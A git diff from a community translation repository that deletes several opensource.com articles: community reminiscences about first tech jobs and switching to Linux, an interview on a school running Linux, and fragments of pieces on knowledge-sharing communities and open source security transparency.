-### The Open Source Way - -Built around a collaborative-writing approach, the Open Source Way community considers itself to encompass all open source software projects, focusing on best practices for community architecture, design, and management. In this broad area, the community's real-world practitioners provide the core practices around what to do, how to do it, and especially why to do things the open source way. - -The Open Source Way community began in 2010 around the idea of a handbook written by practitioners, for practitioners. The core material was born at Red Hat from a need to record in one place the advice writers had been repeating to hundreds and thousands of people over the previous decade. It was released as an open source project, as it was self-evident that content about practicing the open source way needed to be written and published in an open source manner. For a few years, the handbook and wiki were locations where open source community management practitioners collaborated. - -The recently announced [2.0 guidebook][6] is a complete overhaul from the 1.0 guide of 2010, reflecting the evolution of open source software development over more than a decade. The guidebook works on the principle that "the path to creating a sustainable open source community starts by making something useful for the user base while lowering barriers to participation and contribution." It includes chapters on communication, diversity and inclusion, participant motivation, the nature and methods of a contribution, onboarding, governance, community roles, and community manager self-care. - -In addition to being a resource for community members of all types looking to improve their participation and contribution practices, the Open Source Way provides an overall community of practice that supports individual and organizational improvement. - -As a knowledge-sharing community, the Open Source Way project covers best practices within a broad range of how communities are created and thrive from the perspective of a much wider group of authors and contributors than other similar material and books. - -### Teaching Open Source - -The organizing principle of the [Teaching Open Source][7] (TOS) community is that for college-level educators to be most effective at teaching how to participate in open source communities, they should benefit from direct experience and connection to those communities. Via workshops and other programs, the TOS community brings instructors and professors into direct connection with open source software projects as part of the mission to "(bridge) the gap between traditional computing curricula and student work in open source communities." - -Once instructors are connected with projects, they facilitate students conducting classwork assignments as project contributions. For example, an upper-division programming class might have student assignments that include working on modules for a specific open source project. A lower-division writing class might have students research and write a friendly description for the release notes of a single feature for an upcoming release of open source software. - -The body of knowledge in the Teaching Open Source community has been organized around "teachers helping teachers." One popular workshop is the Professors' Open Source Software Experience (POSSE), a multiday hands-on workshop that teaches open source participation techniques to instructors. The TOS community creates the workshop materials and all the pedagogy around it out of its community of practice. - -This knowledge-sharing community exemplifies how a focused open source best-practices effort can provide a lot of value in a comparatively narrow niche. - -### The Open Organization - -Another example of a community blending open source best practices and knowledge sharing in a specified domain is the [Open Organization][8] project. This community works specifically at the intersection of open principles and organizational culture and design, "leading a global conversation about the ways open principles change how people work, manage, and lead." The Open Organization community is always asking: How can we adapt open principles and practices to all kinds of organizational contexts, so everyone can tap the benefits of living and working openly? - -In its own way, this community's origin story parallels that of the Linux kernel. The Open Organization community formed when former Red Hat CEO Jim Whitehurst published [_The Open Organization: Igniting Passion and Performance_][9], which concluded with a short invitation to continue the conversation about "how we can all lead and work better in the future." For several years since that founding moment, the community has focused its efforts on writing [several books and guides][10] that extend Jim's original writing, including a field guide, open leadership manual, workbook, and guides for distributed teamwork, IT culture change, and educators. The books feature chapters written by authors in different industries and geographic regions, bringing a diverse range of voices and experiences to this global conversation. - -As an open source knowledge-sharing community, the Open Organization project stands out for its focus on purposefully written and published books covering the breadth and depth of what it means to practice open principles in any kind of organization. - -### Conclusion - -These six knowledge-sharing projects demonstrate one of the wondrous things about open source software: bringing different approaches to similar but different problems. As these practice-oriented communities focus on the power of collaboration, they generate creative content out of the experiences and voices in their domain. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/5/open-source-knowledge-sharing - -作者:[Deb Bryant][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/debbryant -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/practicing-empathy.jpg?itok=-A7fj6NF (Practicing empathy) -[2]: https://www.redhat.com/en/about/open-source-program-office -[3]: https://todogroup.org/guides/ -[4]: https://opensource.org/ostm -[5]: https://saopen.ieee.org/ -[6]: https://lists.theopensourceway.org/archives/list/announce@theopensourceway.org/message/IDH3UEJW2MNJA5MGAKLXINWVTL2JGFJM/ -[7]: http://teachingopensource.org/ -[8]: https://theopenorganization.org/ -[9]: https://www.redhat.com/en/explore/the-open-organization-book -[10]: https://theopenorganization.org/books/ diff --git a/sources/talk/20210509 My first tech job- 8 stories from the community.md b/sources/talk/20210509 My first tech job- 8 stories from the community.md deleted file mode 100644 index 222b8ae4d7..0000000000 --- a/sources/talk/20210509 My first tech job- 8 stories from the community.md +++ /dev/null @@ -1,58 +0,0 @@ -[#]: subject: (My first tech job: 8 stories from the community) -[#]: via: (https://opensource.com/article/21/4/my-first-tech-job) -[#]: author: (Jen Wike Huger https://opensource.com/users/jen-wike) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -My first tech job: 8 stories from the community -====== -Folks share what job led to their career in tech. -![Selfcare, calm routine][1] - -Riffing on the topic of what unusual jobs people had before tech, a few of our responses from the community were more focused on jobs that *led *to a job in tech. - -These eight authors shared their experiences. Share yours in the comments. - -* * * - -While getting a degree in English and Anthropology, I formatted and laser-printed my resume using a text editor on the big mainframe at my college, because it made my resume look extra fancy. That fancy resume landed me my first job as a technical writer for financial services. Then, I went back to school and got a degree in folklore. Realizing that a folklore degree was just a license to beg for a living, I opted to go back into technical writing, but for IT at a pharmaceutical company. That led to a career in usability and user experience before the term "user experience" was coined. For extra spice, I then took a hiatus from computers to homeschool for 15 years (all grades, all subjects, K-12), which was an education in and of itself. Eventually, the kids grew up, and I needed a job. **Red Hat decided that my patchwork career was just what my department needed.** That was six years ago. I not very techie by Red Hat standards, but none of my non-tech friends actually understand my job, so maybe I'm a techie after all? —[Ingrid Towey][2] - -I've always been technically minded, when I was a kid I would take things apart, and usually put them back together. I repaired various appliances, the VCR, and other audio equipment. I also learned to program BASIC on our Atari 400 home computer (circa 1982). In college, I was initially working on a bachelor's degree in Geography but continued to play around with computers and added a minor in Computer Science. I worked in a grocery store until I switched to being a computer lab assistant in college. This is where I based my first Opensource.com article. While still in college, I built custom computers at several different small companies. **After college, I moved to the DC area and began doing government IT work.** —[Alan Formy-Duval][3] - -I worked in education. I taught ESL and then was at MIT OpenCourseWare for several years. I was already interested in open licensing at that point, and the power it had to help people. At OCW, I spent time faced with the technical limitations of our work, and how not everyone we wanted to reach had access to the infrastructure they need to learn what they want to learn. **I moved into tech in response to those concerns.** —[Molly de Blanc][4] - -My last job before getting into tech was as a retail employee at the Rubbermaid store in the mall. Prior to that, I'd been a short-order cook. **I landed my first tech job "because you know [Microsoft] Word" as an intern in the IT department** of a company that, several years later, ended up hiring me as a help desk technician full time when I graduated from college. All of this, despite getting a degree in music. —[Chris Collins][5] - -I was a physics student during university, and my first paid internship was taking thin-film x-ray diffraction data at a national lab. I spent most of my days feeding samples into an x-ray diffractometer, which gathers data you can use to calculate the crystalline structure of the samples. My goal throughout my university career was to go into physics research. The next year, grant funding mostly dried up, and I wasn't able to find another lab internship. But I knew computer programming, and a friend pointed me to a paid internship at a small company, doing code cleanup and writing small audit utilities. I really liked working there and got along very well with the IT folks. **When I graduated with my BS, they offered me a job in the IT department, managing Unix servers.** —[Jim Hall][6] - -I made my living playing the French horn for five years. I did tech stuff as a hobby with geeky friends in music school using Linux, Python, etc, mostly for amusement. Most of those friends found their way into tech jobs soon after completing their music degrees. Eventually, a couple of them offered to pay me to do part-time work, which sounded fun and was a nice way to hedge my bets against the thin job security of the performing arts. I loved the work, and after five years of balancing a full-time music career and a nearly full-time freelance tech career, **I got an offer I couldn't refuse and took a salaried job in tech.** Working "only" Monday-Friday felt like I was on vacation all the time. I miss performing, which is an experience unlike any other, but I am thrilled with my career path in tech and would not change a thing. Of that group of friends from music school, several work at Red Hat, several at Google, one at SAS, and a smattering of other places. —[Michael Hrivnak][7] - -Before university, I studied for a year in a US high school and kept in touch with relatives at home through email at a time when only military and higher education had access to the internet. I went on to learn about environmental protection at the university back at home. Of course, I wanted to get an email address ASAP. First, I was refused because first-year students don't get one. When I insisted, I got an email address and was also invited to work at the faculty IT group. **The rest is history: I have two non-IT degrees but ended up working as a sysadmin, QA engineer, and later with open source communities. **—[Peter Czanik][8] - -I worked as a financial manager for a political consulting company in Boston, and I worked on a number of campaigns before going to grad school in Michigan. That led to being a professor of economics, and **from there to IT as I worked at incorporating computer technology into my teaching methods.** I was successful enough at it to become the Faculty Development Officer, responsible for training all of my colleagues. —[Kevin O'Brien][9] - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/my-first-tech-job - -作者:[Jen Wike Huger][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jen-wike -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/meditate_zen_wfh_outside_family_selfcare_520.png?itok=qoSXLqRw (Selfcare, calm routine) -[2]: https://opensource.com/users/i-towey -[3]: https://opensource.com/users/alanfdoss -[4]: https://opensource.com/users/mollydb -[5]: https://opensource.com/users/clcollins -[6]: https://opensource.com/users/jim-hall -[7]: https://opensource.com/users/mhrivnak -[8]: https://opensource.com/users/czanik -[9]: https://opensource.com/users/ahuka diff --git a/sources/talk/20210522 17 true stories about switching to Linux.md、 b/sources/talk/20210522 17 true stories about switching to Linux.md、 deleted file mode 100644 index adeb51ed02..0000000000 --- a/sources/talk/20210522 17 true stories about switching to Linux.md、 +++ /dev/null @@ -1,92 +0,0 @@ -[#]: subject: (17 true stories about switching to Linux) -[#]: via: (https://opensource.com/article/21/5/switch-to-linux) -[#]: author: (Jen Wike Huger https://opensource.com/users/jen-wike) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -17 true stories about switching to Linux -====== -There are many reasons people start using Linux, but few turn back once -they begin. -![Linux keys on the keyboard for a desktop computer][1] - -It's been 30 years since Linus Torvalds created Linux, way back in 1991, as a free alternative to Unix. In that time, it's grown from a niche project to a powerful, widely used operating system that [sustains much of what's essential][2] in modern computing—the cloud, the Internet of Things, supercomputers, the devices that kept students learning during a global pandemic, and much, much more. The Linux community is a passionate, dedicated, and effective advocate for the operating system in all its iterations, and that enthusiasm has translated into steadily increasing adoption.  - -There are many reasons and ways people come to Linux, but once they get here, most never turn back to the proprietary systems where they started. So we asked Opensource.com contributors to tell us how they began their tech journey with Linux. Their responses are a diverse and powerful testament about why Linux has withstood the test of time, continuously improving and gaining fans around the world. - -* * * - -"Curiosity sparked my earliest explorations with Linux. I came to realize very early that Linux can be used in so many ways that support the education of students and teachers whom I worked with every day. Linux and open source software leveled the playing field for many of my students and library patrons. Linux extended the life of hardware platforms that became obsolete by the design of proprietary operating systems. It is a gift that keeps giving every day." —[Don Watkins][3] - -"My Linux journey started during my first year at university [in Budapest] in 1994. There was no Gmail or Hotmail at that time; even most of the teachers did not have an email address. Students could apply for one only in their second year. I just arrived back from my high school year in the United States, where I used email, so I wanted to have an email address as soon as I arrived at the university. After a week of asking, I got an email address and an invitation to participate in the faculty–student IT group. The main server was Novell NetWare, and there was a FreeBSD box for experimenting. My task was to install the faculty's first Linux server. For a few months, it was experimental for other members of the group, but soon it became a production server. I really enjoyed learning it while doing it. And once I got a stronger machine at home, I also started using Linux on my desktop too, next to Windows. In '96 I became familiar with SUSE Linux 4.3 and, ever since, SUSE and later openSUSE have been my main OS on the desktop." —[Peter Czanik][4] - -"In the ancient times, I owned an Apple IIe. What I didn't like was that Apple seemed to give not quite enough hardware to do what I needed. Furthermore, it was, and still is, a 'closed shop,' where Apple tightly controls not only the software but the hardware it runs on. (All about profits.) The next step was the appearance of GUI environments, and I decided to buy an Amiga and was very happy with it. It actually allowed you to do some things, and you could get lots of free support. Well, we know what happened to Amigas. So then, remaining in my Apple-aversion state (which I continue to this day), I bought a Windows machine... Ohhhhhhh, what a letdown—everything was like a black box. It either worked or didn't and you had no clue as to why. So at this point, I was searching around BBSes and computer magazines and ran across Linux. It didn't take long before I told myself, 'I can do this!' I sent for my Red Hat Linux CDs and I was off and running. I think my first Red Hat Linux was 5.1 or something like that. I still recall the joy I had when I first got X to work properly. It's been computer heaven ever since. I started out with dual-boot setups, partly because of the many driver issues with Linux and various hardware. I'd search around with Windows to find the driver, save it to floppy, then reboot to Linux to install. But it wasn't long before I just bought a new Windows machine and blew away Windows to install Linux." —[Greg Pittman][5] - -"I was in high school with a guy named Matt, who was a year ahead of me. We hung out a lot in the electronic music lab, and he also got me hooked up with a gig as a student sysadmin for the campus VAX/VMS and Unix servers. One day, Matt tipped me off to a new Minix alternative circulating on Usenet, and I spent rather too much time getting GCC to build it on my shiny new 386 PC. Unlike Minix, this kernel could legally be distributed in electronic source (and even compiled binary) form, so you didn't have to type it all in from a textbook. We lost touch after he graduated, but Matt went on to lead the Linux Documentation Project and wrote the first edition of _Running Linux_, which has pride of place on my lab bookshelf today, next to my K&R." —[Jeremy Stanley][6] - -"I discovered open source as a concept through Creative Commons. Recognizing them as philosophical relatives, I soon discovered that many of the tools I used (e.g., GIMP, Firefox, Audacity) were open source, and you could use an open source operating system. This was scary, but Windows Vista was generally acting up while I was in grad school. Ubuntu's WUBI installer overcame my hesitation to try Linux, and I found myself using it by default. Eventually, Windows hid the Ubuntu install, but the Linux community helped me recover my files, leading me to abandon Windows as my primary OS more than 10 years ago now." —[Kyle R. Conway][7] - -"For me, my exposure came from being a poor college kid who couldn't afford a Windows license. I also worked in a bookstore and had a nice discount on Red Hat Linux 5.2. I used it for a little while and then branched out to try various other distributions: Debian, Slackware, and even FreeBSD wouldn't install for one reason or another. I found Gentoo Linux in its 1.0 to 1.2 timeframe which finally worked correctly with my network card (the 'it works with everything' 3Com 3c509 adapter). From there I became a developer, maintaining several packages for the distribution until my retirement in 2007. I certainly would not be where I am today if it were not for that discounted Red Hat Linux 5.2, and who could have thought that some 20 years later, I would be working at the very same Red Hat?" —[Lisa Seelye][8] - -"For me, it was a virus in Windows Vista (the whole thing was a virus, to be honest), and my good fortune of acquiring an Ubuntu image around the same time, not really knowing much about Linux or FOSS at all. After figuring out how to install it, I found the experience was excellent: super-fast and completely intuitive for the default programs. So I liked it from an end-user point of view from the off. Then I delved deeper into this thing called 'open source,' started to understand the utility of free software, and have been a supporter ever since." —[Laurence Urhegyi][9] - -"I'd been a DOS user since the 1980s, so I didn't mind the command line. When I went to university in 1990, I discovered our Unix lab in the computer science department, and I managed to get an account. Coming from the DOS world, I found Unix pretty easy to pick up. Many of the commands were the same or similar, and Unix provided much more powerful tools like awk and grep and sed. In 1993, I started looking around for something to replace MS-DOS. While I still loved DOS and was at home with the DOS applications, I wanted the power of a Unix system. I asked around on a discussion board system called Usenet, and someone suggested this new thing called Linux. It was a Unix-like operating system, but it could run on my '386 computer. I paid someone $99 to send me the floppies to install SoftLanding Systems Linux 1.03. It worked great. The tagline 'Gentle Touchdowns for DOS Bailouts' proved true, as the installer was very DOS-like. Linux felt just like the big Unix systems in the campus lab, but I could run it on my home computer. And even better, I was able to dual-boot with MS-DOS, so I could still boot back to DOS to run my word processor or spreadsheet. (Linux didn't have many applications in 1993, so I still needed to boot back to DOS to run some things.) I've also shared my [Linux origin story][10] and my history with [SLS Linux][11] on Opensource.com." —[Jim Hall][12] - -"I worked in IT at a university, so Linux was around. But it was like all my other relationships at the time—I messed around with it for fun and exploring but made no real commitment. When IBM started a new service called eSecurity (which was one of the first, major ethical hacking services), I got a spot on the first team for EMEA (Europe, Middle East, and Africa). When I arrived, they handed me a 486DX laptop (still have it but, no, it doesn't work). Apparently, the department was way underfunded. It was old even then, and the only thing it could run well was Linux. It also happened to be the OS I needed to do my job as a hacker, so I installed Red Hat and ran with it. Back then we had a saying, 'Linux was made by hackers to be the playground for hackers.' We meant this in a really positive way too. And I still strongly believe you can't work successfully in network security if you don't run Linux." —[Pete Herzog][13] - -"It has been so long that I sometimes find it hard to imagine I actually switched from something else. Back in 1996, I'd heard about Linux but never had spare hardware I could run it on. At work, we used a mix of Mac, Unix, and Windows. Then, at the 1996 WWDC, I got an MkLinux CD off Apple that would install on my 601 PowerPC-based Mac at work. The whole idea of having a personal 'Unix-like' workstation was too cool, so I persuaded my boss to let me try it out and never looked back. Within a year, we had Linux and FreeBSD running regularly and the main Office server had migrated off Unix onto a Dell box running Red Hat Linux." —[Steven Ellis][14] - -"I switched (the first time) when I went from being a test engineer at IBM to a full-time Java developer at a startup way back in the first internet bubble. It was so much easier to code on at the time. I had to switch back several years later (mostly because I was required to use Windows on the fed contract, AND because WOW had just come out, and it didn't play nice with Wine at the time). I never stopped using it on servers, mind you—that IS how I make a living after all." —[Kevin Sonney][15] - -"I've always been a 'power user' in that I like to tweak my software (and hardware—my desktops have always been self-assembled). I used DOS, then Win 3.1 (sparingly), then with Windows 95, I used the GUI more and more. During this time, when I could scrape up enough cash, I'd get more RAM or that 486 with a co-processor or whatever. Usually, the hardware upgrades would cause blue screens and a reinstall. Also, as things would gunk up and slow down, I usually ended up reinstalling everything every six months or so. In my ignorance, I thought this was annoying but normal. I continued this pattern through Windows 2000. Then, when Windows XP was released, I realized that I would have to ask Microsoft for permission (through the new activation 'feature') for my hardware upgrades and cleanup reinstalls. That was the final straw. In 2005, I got a set of Fedora discs, wiped Win2000 off my machine—cold turkey, and never looked back. There were tweaky troubles back in the day getting some hardware to run, but I no longer needed to reinstall for _any_ hardware change! And the computer ran just as well two years later as it did when I installed it! So, I got out of the habit of continual reinstalls, although, these days when I occasionally do a fresh install, it's a 20-minute ordeal instead of the weekend-long process it was with Windows! I started with Fedora with GNOME. Later, I switched to KDE because I liked the look of it. Then when KDE4 broke things I depended on, I tried out Ubuntu. I used that until the Unity debacle, at which point I switched to Linux Mint. That's where I'm at today, and I couldn't be happier!" —[Lee Carpenter][16] - -"So I ended up on Linux because I was an annoying teenager. OK, perhaps that requires a bit more explanation. A family friend was a Windows/DOS administrator, and I was always bugging him for how to do different things on my computer. For a while, he was helpful but at a certain point I overwhelmed his desire to be helpful and he started to get rather annoyed with me constantly bugging him about obscure and abstract things that I was trying to do. His solution was to go to a co-worker who was a FreeBSD admin and ask that guy to set up a system for me. His thought process was that since he didn't know anything about FreeBSD, he couldn't help me when I had questions. However, the FreeBSD admin realized that he did not want to become my tech support either, so he installed Slackware. A few weeks later, I was given a system with Slackware on it. I was told how to use the `man` command and then, 'Good luck and have fun.' From that point on, it was just my curiosity of what is this weird 'Linux' thing I was given, how does it work, and what can I do with it." —JT  - -"In the mid-'90s, I was an Amiga user. I worked on DOS and Windows, but my personal machines were Amigas. When I went back to school for a degree, I had to learn and work with C, so I bought one of the Amiga compilers but found that it was not readily compatible with the Sun systems at school. Someone at school informed me about Linux, so I got a laptop to use it with, picked my distro, and ordered Slackware CDs (because it sounded neat). I've been a Linux user ever since. (Still like the Amigas when I'm in a retro mood, though.) If I recall, it took me a few days of manually editing modelines to get X working on that old Compaq Armada, but it worked!" —Murph - -"As I will always remember, I never switched but was pushed to Linux, no options given nor available, at my first job. It used it only once or twice during academics before getting into my first employment; I knew little about what the Linux-based OS looked like. Though I was fond of C/C++ from my academic time, I only practiced it on Windows XP using Turbo C. It took me a lot of time and learning to get the bare basics, but I am forever happy to have been pushed to Linux." —[Abhishek Tamrakar][17] - -"I think I was rebel or divergent all my life. I hate the lack of alternatives. When I met OS/2, I switched to it—but it didn't take long. After I met Linux, I felt like I found my missing piece." —[Hüseyin GÜÇ][18] - -"I'm a smidgin disappointed that no one says, 'I pine for the days of Minix-1.1, when men were men and wrote their own device drivers. I was finding it frustrating that everything worked in Minix,' or similar harkening back to the [initial announcement][19]. For me, my only real exposure to computers growing up was as an undergrad in university labs (Vax) playing CircleMUD and doing assigned work for various classes in basic Fortran and C, Apple IIes in my high school 'computer lab,' and my own trusty Spectrum 128K +2 that I had at home. My conversion to Linux happened when I was a college postgrad student in 1997, struggling to get some C code inherited from a prior project that I needed for my research project running on Windows. Someone suggested using the Solaris servers in the lab. The code built the first time, and before I knew it my Windows was mostly xterms and emacs windows running on a Hummingbird XServer. Another student told me it would be easier for me just to run Linux and helped me install (IIRC) Red Hat Linux 5.1 off a _Linux for Dummies_ cover CD. Something about being on my hands and knees trying to read the chipset on my network card, so I could recompile the kernel to get Ethernet working, and being told that if I got my XFree386 config wrong I could burn out my monitor, seemed attractive to me." —[Dave Neary][20] - -* * * - -What led you to switch to Linux? Please share your experience in the comments! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/5/switch-to-linux - -作者:[Jen Wike Huger][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jen-wike -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/linux_keyboard_desktop.png?itok=I2nGw78_ (Linux keys on the keyboard for a desktop computer) -[2]: https://opensource.com/article/19/4/top-moments-linux-history -[3]: https://opensource.com/users/don-watkins -[4]: https://opensource.com/users/czanik -[5]: https://opensource.com/users/greg-p -[6]: https://opensource.com/users/fungi -[7]: https://opensource.com/users/kreyc -[8]: https://opensource.com/users/lisa -[9]: https://opensource.com/users/laurence-urhegyi -[10]: https://opensource.com/article/17/5/how-i-got-started-linux-jim-hall-freedos -[11]: https://opensource.com/article/17/8/linux-anniversary -[12]: https://opensource.com/users/jim-hall -[13]: https://opensource.com/users/peteherzog -[14]: https://opensource.com/users/steven-ellis -[15]: https://opensource.com/users/ksonney -[16]: https://opensource.com/users/carpie -[17]: https://opensource.com/users/tamrakar -[18]: https://opensource.com/users/hguc -[19]: https://static.lwn.net/2001/0823/a/lt-release.php3 -[20]: https://opensource.com/users/dneary diff --git a/sources/talk/20210527 How Linux made a school pandemic-ready.md b/sources/talk/20210527 How Linux made a school pandemic-ready.md deleted file mode 100644 index e974eac128..0000000000 --- a/sources/talk/20210527 How Linux made a school pandemic-ready.md +++ /dev/null @@ -1,75 +0,0 @@ -[#]: subject: (How Linux made a school pandemic-ready) -[#]: via: (https://opensource.com/article/21/5/linux-school-servers) -[#]: author: (Don Watkins https://opensource.com/users/don-watkins) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How Linux made a school pandemic-ready -====== -By going all-in on Linux, teacher Robert Maynord ensured his school was -ready for remote learning—even before it needed to be. -![Digital images of a computer desktop][1] - -More than 20 years ago, when [Robert Maynord][2] started teaching at [Immaculate Heart of Mary School][3] in Monona, Wisconsin, the school had only eight functioning computers, all running Windows 95. Through his expertise in and enthusiasm for Linux and open source software, Robert has transformed the school community, its faculty, and its students, who are in kindergarten to eighth grade. - -"In those early years, it quickly became apparent that paying license fees to Microsoft for each computer, in addition to purchasing all the software to install, was absurd when the computer itself was only worth $20," says Robert. So he began installing Linux on the school's computers. - -Robert holds a PhD in education with an emphasis on technology for twice-exceptional children. I was eager to learn more about him and his work, so I asked for the opportunity to interview him. The following email conversation has been edited slightly for grammar and clarity. - -**Don Watkins: What got you interested in Linux?** - -**Robert Maynord**: My first experiences with computers involved an Amiga 1000, which I used to edit videos and create a four-color magazine. I was always amused by my Apple Mac friends who bragged about having the new orange screens when I was working with 1,024 colors. The [Amiga was a gaming machine][4], and the community reflected an open, exploratory attitude with people making parts and programs in garages and selling them in small quantities through the mail. When the Amiga was no longer available and Linux was becoming more popular, it was the next logical step for me—for philosophical reasons more than financial concerns—to enter the world of open source technology. - -A few years later, I was working in several schools as a consultant, repairing non-working machines and modifying Macs so that they could communicate with Windows computers. I was hired by one of the schools to teach computers and get their lab working. They had eight Windows 95 machines, and three of them worked. Their budget was essentially zero. I acquired a few donated machines from a local non-profit and soon discovered that the operating systems and software would cost far more than what the old computers were worth. At this point, I fully committed to the world of Linux—the only possible way to get our school up and running. - -**DW: What first steps did you take?** - -**RM**: My first steps involved experimenting with various distributions, including Debian and Red Hat. This was pre-RHEL and pre-Fedora. Linux required a significant amount of work to be made useful on our diverse, recycled machines. When the school finally dropped their dial-up modems and began to use Ethernet cards, it was a substantial improvement. The advent of multiple distributions over time greatly added to the overall usability of Linux, especially when the desktop user interface improved. After 2005, we began to look more closely at the emerging Ubuntu distribution because its rapid growth in popularity and the distributions built on it meant that installation on a diversity of machines was more predictable. - -**DW: How has using Linux and open source benefited the school, other than lowering the total cost of ownership?** - -**RM**: The school has greatly benefited from using Linux and open source systems because it has allowed a closer integration of technology with the daily needs of classroom teachers and administration. When a new system or implementation is needed, we do not contract with an outside service provider; we can do almost everything in-house. For example, when we needed online video interaction with our distance-learning students because of COVID-19, I set up a [BigBlueButton server that integrated well with Moodle][5]. Another example is our phone system. The phones are all digital, connecting through a CAT-6A network. They communicate to our trunk and outside lines through a FreePBX server running Linux. The wiring, phone setup, and server setup were all done internally, and if there is a problem, it is solved quickly, with no "service call" required. - -It is also important to emphasize that, as a school, we collect a large amount of data on students and teachers. We are in full charge of the ownership of this data, and it is not turned over to Google or any other large data-mining companies. This places the school in much closer agreement to the spirit of COPPA (Children's Online Privacy Protection Act), allowing us to shield students from being tracked, and preventing any permanent long-term profile from being built from their activities. Since we work with K-8 children, this consistent protection of their privacy remains central and essential. - -**DW: What hardware are you using as servers? Where do you get them?** - -**RM**: We are currently using a range of servers, some being custom-built for us by a local computer shop. Several of our servers are older, donated by corporate recycling programs, but a few of them are newer with SSD drives. In general, we have maintained the stance of using less-expensive hardware rather than making large investments every three years. We are a small parochial school with around 200 students, and so our budget is defined accordingly. However, we are receiving a large amount of funding in the near future from federal COVID Relief Funds. This funding will allow us to replace dated netbooks and other hardware. About half of our netbooks are Acer C720Ps, and half are Dell 3189s. All the netbooks run GalliumOS and have a full suite of programs, including [Epoptes][6], where teachers can directly monitor students' use of time. In addition to desktops, teachers all have Dell E6420 laptops with cameras so that synchronous online students can be video connected throughout the day. On the smaller size of the hardware spectrum, we are implementing Linux-based Raspberry Pi computers for the students to learn game emulation, robot construction, and programming or coding. - -**DW: What whiteboard software are you using with Linux?** - -**RM**: We have evolved through several whiteboard systems, including Promethean and Smart. However, the delay in upgrades for those systems proved to be too discouraging for the teachers. At this point, most of our teachers simply use an Ubuntu desktop on their whiteboards, controlled with a wireless mouse and keyboard. Since the whiteboards have the same [Nextcloud][7] local folders on the desktops, teachers can prepare their presentations on their laptops or desktops and have them immediately available on the whiteboards. - -In addition to the projector-based whiteboards, we have one Clevertouch board for use in the library. The Clevertouch board is a touch screen and Linux compatible, displaying a Linux desktop. Dell also has a selection of Linux-compatible touch screens, which we are considering. When mounted on portable supports, touch screens have the advantage of being movable throughout the classroom. - -**DW: What are the advantages of using open source software for instruction as opposed to proprietary software?** - -**RM**: Far and away, the most important benefit of using open source software is that both teachers and students are learning technological skills in a broad framework, rather than narrowly based on brand names and marketing strategies. We all remember the days when a teacher, when asked about using a computer, would respond, "I took a workshop in Word." Then there were the days when the Oregon Trail was the cutting edge of educational instruction. Both students and teachers benefit greatly when they learn that there are many different browsers rather than just "the internet." Likewise, there are very important reasons to know about Duck Duck Go and Brave, rather than defaulting to "search Google." - -**DW: What advantages do your students and faculty have as a result of using open source software?** - -**RM**: Because we use open source software, we have the singular advantage of addressing technology directly as skilled users with students and faculty and not simply as consumers. Technology is clearly a central, integrated part of our world, essential to how we live, and we each carry the responsibility for how it is used. We can and should be much more than passive consumers. Just like all aspects of life, technology has issues of ethics and justice that we must struggle with for the good of all. To do less would be to abdicate our responsibility to society. I know of at least two schools that have recently "retired" their computer teachers in favor of a complete turnover of school-related technology to Google Classrooms. In other words, students will be taught that Google Docs is synonymous with computing. This is, in my opinion, a terrible loss. The schools have abdicated their responsibility for a broad education, replacing it with "convenience." Hopefully, over time, educators will realize the importance and advantage of a technologically well-educated population for society as a whole. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/5/linux-school-servers - -作者:[Don Watkins][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/don-watkins -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_desk_home_laptop_browser.png?itok=Y3UVpY0l (Digital images of a computer desktop) -[2]: https://twitter.com/robertmaynord -[3]: https://www.ihmcatholicschool.org/ -[4]: https://opensource.com/article/19/3/amiga-raspberry-pi -[5]: https://opensource.com/article/21/3/moodle-plugins -[6]: https://epoptes.org/ -[7]: https://nextcloud.com/ diff --git a/sources/talk/20210621 Why transparency is critical to your open source project-s security.md b/sources/talk/20210621 Why transparency is critical to your open source project-s security.md deleted file mode 100644 index 1a0f806da7..0000000000 --- a/sources/talk/20210621 Why transparency is critical to your open source project-s security.md +++ /dev/null @@ -1,82 +0,0 @@ -[#]: subject: (Why transparency is critical to your open source project's security) -[#]: via: (https://opensource.com/article/21/6/security-transparency) -[#]: author: (Ana Jimenez Santamaria https://opensource.com/users/anajs) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Why transparency is critical to your open source project's security -====== -A community's health and transparency are good measures of a project's -security. -![Lock][1] - -The Biden Administration's recent [executive order on cybersecurity][2] aims to improve [security assurance][3] and the use of best practices. Transparency and project health are two factors that help to support security across the entire software industry—especially now. - -### Software security is now open source software security - -Because [92% of modern applications][4] contain open source components, improving software security generally means improving open source software security. - -According to the Biden executive order: - -> "The trust we place in our digital infrastructure should be proportional to how trustworthy and transparent that infrastructure is." - 